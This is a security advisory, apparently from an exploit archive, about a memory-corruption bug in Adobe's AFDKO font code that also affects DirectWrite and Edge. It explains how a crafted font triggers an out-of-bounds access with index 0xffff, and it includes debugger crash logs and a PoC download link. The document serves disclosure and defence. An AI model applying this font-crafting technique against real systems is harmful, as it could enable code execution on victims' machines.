  1876          if (top->cid.Registry.ptr == ABF_UNSET_PTR ||
  1877              top->cid.Ordering.ptr == ABF_UNSET_PTR ||
  1878              top->cid.Supplement == ABF_UNSET_INT) {
  1879              return cfwErrBadDict;
  1880          }
--- cut ---

However these checks are insufficient, as it is still possible to make cfwSindexAddString() return SRI_UNDEF for correctly initialized, but empty strings. This results in passing 0xffff as an argument to cfwSindexAssignSID(), which triggers out-of-bounds reads in lines 165 and 168 in cffwrite_sindex.c, and potentially an OOB write in line 166. Under specific conditions, this may lead to memory corruption and arbitrary code execution.

-----=====[ Proof of Concept ]=====-----

The CFF table inside the proof of concept poc.otf font has the strings "Adobe" and "Identity" (corresponding to the Registry and Ordering fields) modified to "\0dobe" and "\0dentity". As the strings appear to be empty to cfwSindexAddString(), the SRI_UNDEF value is returned and later passed to cfwSindexAssignSID(), which triggers a crash.

The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and another, modified CFF table from an external CID-keyed font was added with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c.

-----=====[ Crash logs ]=====-----

A 64-bit build of "tx", started with ./tx -cff poc.otf crashes in the following way:

--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x0000000000424ac2 in cfwSindexAssignSID (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:165
165             if (custom->sid == SID_UNDEF) {

(gdb) print custom
$1 = (CustomRec *) 0x81cb40
(gdb) print custom->sid
Cannot access memory at address 0x81cb48
(gdb) print index
$2 = 65535

(gdb) x/10i $rip
=> 0x424ac2 <cfwSindexAssignSID+98>:    movzwl 0x8(%rax),%ecx
   0x424ac6 <cfwSindexAssignSID+102>:   cmp    $0xffff,%ecx
   0x424acc <cfwSindexAssignSID+108>:   jne    0x424af3 <cfwSindexAssignSID+147>
   0x424ad2 <cfwSindexAssignSID+114>:   mov    -0x20(%rbp),%rax
   0x424ad6 <cfwSindexAssignSID+118>:   mov    0x90(%rax),%cx
   0x424add <cfwSindexAssignSID+125>:   mov    %cx,%dx
   0x424ae0 <cfwSindexAssignSID+128>:   add    $0x1,%dx
   0x424ae4 <cfwSindexAssignSID+132>:   mov    %dx,0x90(%rax)
   0x424aeb <cfwSindexAssignSID+139>:   mov    -0x28(%rbp),%rax
   0x424aef <cfwSindexAssignSID+143>:   mov    %cx,0x8(%rax)
(gdb) info reg $rax
rax            0x81cb40 8506176

(gdb) bt
#0  0x0000000000424ac2 in cfwSindexAssignSID (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:165
#1  0x0000000000421b94 in cfwDictFillTop (g=0x6fd890, dst=0x71b3f0, top=0x71b148, font0=0x7ffff75b9010, iSyntheticBase=-1)
    at ../../../../../source/cffwrite/cffwrite_dict.c:520
#2  0x000000000041b6db in fillSet (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:1059
#3  0x000000000041ae7c in cfwEndSet (g=0x6fd890) at ../../../../../source/cffwrite/cffwrite.c:2128
#4  0x000000000047a79c in cff_EndSet (h=0x6f6010) at ../../../../../source/tx_shared/tx_shared.c:1076
#5  0x000000000040533f in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf")
    at ../../../../source/tx.c:489
#6  0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558
#7  0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631
(gdb)
--- cut ---

A similar Microsoft Edge renderer process crash is also shown below:

--- cut ---
(4c7c.2a54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!cfwSindexAssignSID+0x21:
00007ffc`c59ea471 663984caccf3ffff cmp     word ptr [rdx+rcx*8-0C34h],ax ds:000001b6`7296ed24=????

0:037> ? rcx
Evaluate expression: 65535 = 00000000`0000ffff
0:037> ? rdx
Evaluate expression: 1883117648224 = 000001b6`728ef960

0:037> k
 # Child-SP          RetAddr           Call Site
00 00000080`c43ab518 00007ffc`c59eb0e1 DWrite!cfwSindexAssignSID+0x21
01 00000080`c43ab520 00007ffc`c59e01cd DWrite!cfwDictFillTop+0x179
02 00000080`c43ab570 00007ffc`c59e219d DWrite!fillSet+0x61
03 00000080`c43ab5e0 00007ffc`c59d2314 DWrite!cfwEndSet+0x51
04 00000080`c43ab620 00007ffc`c596157a DWrite!AdobeCFF2Snapshot+0x23c
05 00000080`c43abb20 00007ffc`c5960729 DWrite!FontInstancer::InstanceCffTable+0x212
06 00000080`c43abd00 00007ffc`c596039a DWrite!FontInstancer::CreateInstanceInternal+0x249
07 00000080`c43abf20 00007ffc`c5945a4e DWrite!FontInstancer::CreateInstance+0x192
08 00000080`c43ac280 00007ffc`d4ae61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
09 00000080`c43ac310 00007ffc`d4ad9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
0a 00000080`c43ac430 00007ffc`b4465464 d2d1!dxc::CXpsPrintControl::Close+0xc8
0b 00000080`c43ac480 00007ffc`b443fd30 edgehtml!CDXPrintControl::Close+0x44
0c 00000080`c43ac4d0 00007ffc`b44448bd edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0d 00000080`c43ac500 00007ffc`b431b995 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0e 00000080`c43ac530 00007ffc`b3f79485 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
0f 00000080`c43ac570 00007ffc`b34344c1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
[...]
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47103.zip